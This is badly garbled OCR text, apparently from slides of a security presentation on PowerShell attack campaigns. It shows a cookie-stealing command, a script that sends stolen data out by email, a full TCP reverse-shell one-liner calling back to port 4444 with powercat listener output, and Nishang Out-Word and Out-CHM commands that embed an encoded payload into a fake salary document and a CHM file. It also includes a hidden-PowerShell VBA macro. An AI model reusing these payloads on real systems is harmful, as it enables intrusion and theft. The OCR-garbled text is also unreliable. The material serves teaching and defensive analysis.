1 ekavelrir = “Kappdatai, . . ippbat s Boaning Microeof s FETassl o 631

o BT BRFE E R IR SRR

FEMIFAATO = New l1.3'|:|"1IF.!' T NF."T FaT 1, SMLPL 1T ENT LM PLErvVer ,, )
faMTPINfo. Enables = $Tri

jsuTrInfo.credentials = New- Dl:rjec't system. Net. Networkcredential (" (R yandex. ru’ , |G :

fSReportEmal]l = New-obiect Swvstem, Net.maill.mailMessaoe

fERI%E T



2  PowerShell Data Stealing Campaigns

F—REREEEDEBFI, (FREERTFIAEEITER

®

AEPHL, REXAEHREKXNTO, WAAEEMIPIEIT,

MRAEEDNA, NAFBRGTEELE, FcookieFtxtHARFF

irenment ] : :GetFolde
1 "dir ([system.environment]::Getf

Jxt nt >> £ i wpData 3 . rshve . txt’
olderPath( Cookies” )+ '\Low\*.txt") |Get-Content >>» "C:\Users\admin\AppData\Local\Temp\ftshvc.txt’

WSS EFHFEEE, 10 “bankaustria. at” 1 “credtsuisse. com”
BURA S tsRy. I

T & FTHIPay | oad
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PowerShell[5I]J-InvokePowerShellTcp

= S5 Windows PowerShell -
e C-~zhell> Invoke—Pouwuerfhelllcp —Reverse —IPAddress 18 3 —Port 4444 -

e EHES: Windows PowerShell

¥ - -“pouwercat._ps1l
+ powercat —1 —v —p 4444

Set Stream 1: TCP

Set Stream 2: Console

Setting up Stream 1...

Listening on [B.A.A_A1 (wo=t 44445

Connection from [1. 81 port [tep]l accepted (source port

Setting up Stream 2. _.
Both Communication Streamsz Establizhed. Redirecting Data Between

pz PowerShell running as wser win® on WIN-R6LDKSQRZ5R
opyright <C> 2015 Microszoft Corporation. All rights reserved.

ConsoleHost
4.8
Instanceld 1b28ebSba—0B5f7-4abb—a2Ve—4bh8A757322e4
System_Management .Automation._.Internal_Host.InternalHostlUzerl
nterface
urrentCulture =zh—CH
urrentUIl Culture =zh—CH
Microsoft.Powerfhell.ConsoleHost+ConsoleColorProxy
False
Sysztem_Management .Automation_.Runspaces . LocalRunspace

| PS C:shell?> Invoke—PowerShellTcp = 737 Muwll 772737777
??? Pz ??: 01

+ Invoke—FPowerShellTcp

T T TP

+ Categorylnfo HotSpecified: <:» [Write—Errorl. UriteErrorExcep
tion

+ FullyQualifiedErrorld Microsoft.PowerShell.Commands .WriteErrorExceptio

| n.Invoke—FPowerfhellTcp E | %f T
8 £ ]
ANTIY




SHiH—2H—alEEl)

o1} EEE: Windows PowerShell

PSS C:“Windowsssystem32» S$sm=(Hew—0bject Het.Sockets.TCPClient¢'"192.168.281.1" .44}
4433 .GetStream{>; [hyte[115ht=0A. 65535 ix{@>;while{{fi=5em.Read(5ht B.5ht .Length)>
—ne B3{;%d={Meu—0hject Text.ASCIIEncoding?.GetString{sht B, 5id;5=t=C([text.encod
ingl::ASCII>.GetBytes({iex 5d 2>&13>;:;5sm.WritedSst, B, 5st. Length)}

S5 Windows PowerShell

> powercat -1 —v —p 4444
Set Stream 1: TCP
Set Stream 2: Console
Setting up Stream 1...
Listening on [B.8.8.81 {(port 4444>
Connection from [192.168.281.1341 port [tcpl accepted (source poprt

: Setting up Stream 2...
Both Communication Streams Established. Redirecting Data Between

Windows IP 77 #3???? EthernetB: FERII?TDNS T . . . . . . . : localdomain
#9? IPub *F. . . . . . . . = feBB::hB846:ccB6:341la:2ed3xd IPuvd 2?3 . . . .
e e = e e = e . = 1%92_168.201_.134 FERI? . . . . . . - . - . . . = 255_2585_255
e e e e e e e e e - =192 168.2001.2 7?7?77 dizatap.localdomain:
S 5 @ % oS & & s s om e FRIFTDNS YT . . . . . . . & localdo
FII?T DNS ?EF O . . . = IPub 77
- - = 28001:0:9d38:6abB8:209F:2a18:3f57:3679 #3?? IPub 77, “1:
fel80::209f :2a18:3Ff57:367915 Fararay




iHf-HlEdoc3tS

* |[nvoke—Encode. ps

e Qut—Word. ps1

PS C:sshell> Invoke—Encode —-DataToEncode '5client = Hew—0Object System.Het.Socket
ICPClient{"192 .168.201 .1". 4444 ;5stream = Sclient.GetStream{?; [bytel[115hytes =
B..65535 {0 ;;whiled{5$i = Sstream.Read{Shytes,. B, Shytes.Length}} —ne B}{;5data
= {Mew—0bject —-TypeMame System.Text.ASCIIEncoding’.GetString{Shytes.B, $ir;%=sen
hack = {diex Sdata 2>&1 | Out-String »;5sendback? = %$sendback + "P§ " + {pud>.P
th + "> ";&sendbyte = {[text.encodingl::ASCII».GetBytes{(fsendback2);fstream.iri
eiSsendbyte . B.5sendbyte . Lengthd;Sstream. Flush{>*;5client.Close{>"' —-IzString —Po
tScriptCommand

Encoded data written to .“encoded.txt

Encoded command written to .“encodedcommand.txt

PS C:sshell? Out—Word —-Payload *powershell —c Invoke-Expression ${New-Obhject IO0.
RtreamBeader (&{(Hew—0hject I0.Comprezsion.DeflateStream (S{New-Object I0.Memory$S
ream {,.5{[Convert]l::FromBaze648tring{’' ' TZFdallwFIlhuvB/=sPh?KNhNnQd1M2 y48thEMYKquy.
SEitgebWav¥MITU 76kt Z25y9SGEBHARS 08 4USgTPMMCEMS 22 Y EwQYQuCpRygillgULSAKMQS5HY alk1vf K
b/2zKHzR E5 et CLBIZBGSRLNWNE ie IDES»PGABme=3 hZDgl 2050 kSt Ep?2 +hxFuludp2 KY qQB Zs Zexl)
kPhCmbhbBHIwK3IBdUoPjGf UBo50DnCyw+BnliS2scu+J3IxfoADucTedmPeks iJun? /LY 98 icrn/Munx?r

1ICh=zEB yTmYuwi J1ThDgoGu I f puRGGy +RUNriQ+1CS1 8Y 7= EYRUHpn623CxUhS ag5 7Y JA?ut DETBin4Z1

PuZUjCibhbg2Fi wINE4vu jEJRTY ?mbubbeRrteZhpl yf guplumxUTOPEUIE=" " 22322,
ion.CompressionMode 1 :Decompressd),. [Text.Encodingl:z:ASCII> > . ReadToEnd{>;*
Raved to file CisshellsSalary _Details.doc




FTFWordl| & ziEshell

ANTIY

S
A
=1 = |
-
on [B.8.8.8) (port 4444) —
tion from [192.168.281.134] port [tcpl accepted (source port | A pOWEfShEl|.exe:2172 prope]"t[es - 0O
2ens y Security Environment .NET Assemblies .NET Performance Strings
reans Established. Redirecting Data Between
Image Performance Performance Graph Threads TCP/IP
ipcont 1y
[[] Resalve addresses
dindows 1P 77 [
Pr... Local Address Remote Address State
TCP 192. 188. 201. 134:49688 192 168.20 4444 ESTABLISHED

Ethernet@:

aldomain:

I 04F H(fl

v

¥ Process Explorer - Sysinternals: www.sysintel

x| &

PID

CPU Frivate

n,

=
w
e
L=}

LW na
M W m

[}
w
5 K3 00 o b D O ©

ke o

[
@ oW
e

=
-

2172
180

| jpy powershell. exe
5] conhozt. exe
chos

chost. exe

iE

¥ | audisds. exe

| svehest. exe

=1 &
m | tazkhozrex axs

4
g
42
4

=
B3 N p3 b O

MR o e

7| svchost. exe
1,msdte. exe
>

. Searchindexer. exe
s

m || EppEVC. axe
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ANTIY

Sub Document Opent( )

Public Function Execute() As Variant

Const HIDDEN_WINDOW = ©
strComputer

S5et objWMIService = GetObject("winmgmts:\\" & strComputer & "

S5et objStartup = objWMIService.Get("Win32 Proce:

S5et objConfig = GhjStaPtup.Epawnlnstance_m
objConfig.Showlindow = HIDDEN WINDOW
S5et obiProcess = GetObject{"wir s:\W" & strlomputer &

objProcess.Create “"powershell -c Invoke-Expressior

i ] =

ﬁbj[nnfig. intProcessID

End Function

37
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SHA256:

File name:

total

4dc8e7221cfc0f78bb1abeba2dbf80fd49ad3d50b9531edcbbeel4f255360707

Salary Details doc

Detection ratio;

2155

Analysis date:

2015-12-11 02:14:25 UTC { 3 hours, 1 minute ago )

= Analysis @ File detail & Additional information ® Comments o ) Votes

Antivirus

Avast

ClamaV

Result
VBA:Downloader-05 [Trj]

Win. Trojan. PowerShell-4

Update
2015121

20151210

CTERIKE
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ANTIY

al

<TITLE>Check

CHM#IR

$CHMHTMLL = @'

for Window

ssid="clsid:adb886ab-d8ff-11cf-9377-80aabb3b7all"” width=]
value="ShortCut”>

ame="Command"
="Button”

Iteml” va

value="Bitmap::shortcut">

NoLogo -NoProfile $Payload" >

A

name=

</OBJECT>

Item2"

value="273,1,1">

EHES: Windows PowerShell

. «NOut—-CHM.ps1
PS C: \shell> Out—CHM —-Payload ’Invoke—Expression ${New-0Ohject I0.StreamBReader (5
{New—Obhject I0.Compression.DeflateStream (${(New—Object I0.MemoryStream ¢(,.5{[Conv

=1t 1: :FromBase64String ¢’ * TZFda8 IwFIbhuB/sPh? KNhNnQd1M2 y4S t hEMY KquuC/EitgebWavYMLT

A/ 26ktZ25ySGEHBAES084US5gTPHMMCE M5 z2Y EwQ7QuCpRygillgULSAKMOSHY alklvf kCe /zKH=zXES5 Vet C
LB3ZBGS5RLnWNE ie IDKS»rPGABMsz3 hZDg1 z2US0kStEp?2 +hx v Dudp2 KY qQ8Zs Ze > UkPhCmbBK3wK3BdlU
oPjGFfUB0S50DNCyw+BnliS2scu+J3Ixfo@DucToJnPcky iJun7/L¥ 28 icrn/Hynx7rF1ChzE8 yTmYwil J1T
thDgoGu3f rwRGGy +RUNriQ+1CS18Y7sEYRUHpn623CxUhSagsh?YJAFut DET8iA4Z1p2u2U jCRbg2Fi/u3

E4vvy jSJkTY7mbubbteRrte/ Zbhpl yf guplumxUIOPRU3IB="*2>2>>, [I0.Compression.Compression

ode l: :Decompress?), [Text.Encodingl::ASCII>>.ReadloEnd<{(>;’ —-HHCPath C:“hhc

HC6BB3: Error: The file Itircl.dll has not been registered correctly.

icrosoft HTML Help Compiler 4.74.87802

ompiling c:“shellsdoc.chm

39

lue=",cmd.exe, /c C:\Windows\System32\WindowsPowerShell\vl.8\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -




:_E

SE

P

ANTIY

?ch

& o

FIED iaiAl(e)]

5| A

IPv4 Advanced
IP Settings Tab

You can use the settings on this tab for
this network connection only if you are
not using the Obtain an IP address
automatically on the General tab.

E IFvd Advanced IF Settings Tab
[7] 1Pvd4 Advanced WINS Tab

|?] IPv4 Alternate Configuration Tal
|2] 1Pv4 and IPv& Advanced DHS Tab

IP addresses lists additional
Protocol version?4 (IPv4) ad
that can be assigned to this netwigrk
connection. There is no limit to

Ly powershell.exe:3500 Properties -
Security Environment .NET Assemblies JMNET Performance
Image Performance Performance Graph Threads
Image File

Windows PowerShell

(Mot verified) Microsoft Corporation

Version: 6,3.9600. 17415
Time: 2014/11/21 12:55
Path:

C:Windows\System32\WindowsPowerShelliy 1.0'\powershell. exe

Command line;

C:Windows\System32\WindowsPowerShell\v 1.0\powershell. exe

WindowStyle Hic

Current directory:

» | svchost. exs

| swchost. exe

odg. exe
n | svchost. exe
m | taskhostex. exe

2 svchost. exe

V. exs

5T, 8xs

st exe
vatoolsd sxe
i|MsMpEng exe

=) wa powershel
jconhost. axs
\ Ly FROCEXPE4. exe

“inotepad. exe

e, exe

2828
3778
arzo
2620

K Windows
K Microsoft
K

> powercat -1 —v —p 4444
TICP
Console

Set Stream 1:
Set Stream 2:
Setting up Stream 1...

Listening on [0.8.68.8]1 <(port 4444)
Connection from [192.168.201.1341 port

Setting up Stream 2...
Both Communication Streams Established. Redirecting Data Between

NPM<{KD> PHCKD> Id ProcessMName
1396 vmtoolsd

3484 vmtoolsd

21
27

5344

18848 .88

BComnIAs

C:\shell\
Parent:  omd.exe(2472)
Verify
User: WIN-R&50KSQ025R wind
Started: 13:21:08 2015/12/11 Image: 64-bit Bring to Front
Comment: Kill Process
Data Execution Prevention (DEP) DEP
Address Space Load Randomization: Enabled
OK Cancsl

hellivl. 0\powe:

[tcpl accepted (source port




CHM VT ==

SHAZ5G: 8413c01ad42da1f82d0662bo70ala’ 164f52bbbebYce7931876815c25e539d9dc

File name: doc.chm

Detection ratio: 11/ 55

Analysis date: 2015-12-11 05:11:47 UTC { 0 minutes ago )

= Analysis & Additional information @ Comments L Votes

Antivirus Result Update

AlYac Exploit. CHM-Downloader. Gen 20151211
Ad-Aware Exploit. CHM-Downloader. Gen 20151211
Arcabit Exploit. CHM-Downloader. Gen 20151211
Avast HTML:Runner-5 [Trj] 20151211

BitDefender Exploit. CHM-Downloader. Gen 20151211
w SEIN|1TE 7 1’.‘



samratashok / nishang

<» Code Issues 2 Pull requests 1 Wiki

Nishang - PowerShell for penetration testing and offensive security

© 171 commits

> samratashok Update README.md

v 1 branch

m Antak-WebShell
= Backdoors Fix for Issue #23

i Client Added scripts for abusing QY files

Escalation
Execufion d-MSSQL now
Gather Added Get-PassHints to the Gt
Misc Fixed help for all the scripts

Pivot Minor bug and typo fixes

Scan Fix version number for SQL Server 7

Find file

irectory

Pulse

H

weCan now execute SQL queries. Closes Is

Added Invoke-PsUACme to the Escalation category

Shells Minor changes to help of couple of Shells

2]
=
=
=
=
m Prasadhak
%
E
I Utility Fixed minor typos
=4

powerpreter Added Invoke-PsU

me to the Escalation category

supports non-interactive payload.

Enhancements to Execute-Command-MSSQL and Copy-VSS

© Watch 88
Graphs
5 releas .

L)

1

(1)

1

¥ Fork 196

* Star 445

Add-SernSaveBackdoor.ps1
DNS_TXT_Pwnage.ps1
Execute-OnTime . ps1
Gupt-Backdoor.ps1
HTTP-Backdoor.ps1

1 Invoke-ADSBackdoor.ps1

S TR g Y

4 months ago

Out-CHM ps1

) Out-Excel ps1

Out-HTA ps1
Out-Java.ps1
Out-Shortcut.ps1

Out-WebQuery.ps1

) Out-Word.ps1

Added Add-ScrnSaveBackdoor and other fixes

Fix for Issue #23
Fix for Issue #23
Enhancement to Backdoors as perissue #10

Fix for Issue #23

Added Invoke-ADSBackdoor

Minor addition to help of Client scripts
Bug fix for Issue #9

Minor addition to help of Client scripts
Minor addition to help of Client scripts
Minor addition to help of Client scripts
Added scripts for abusing QY files

]

Bug fixes fo Qut-Word and Qut-Excel

ehttps: //glthub com/samratashok/mshang cEx KE 1
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PowerShell.exe =-ExecutionPolicy Bypass =-File C:\S5hell\test.psl
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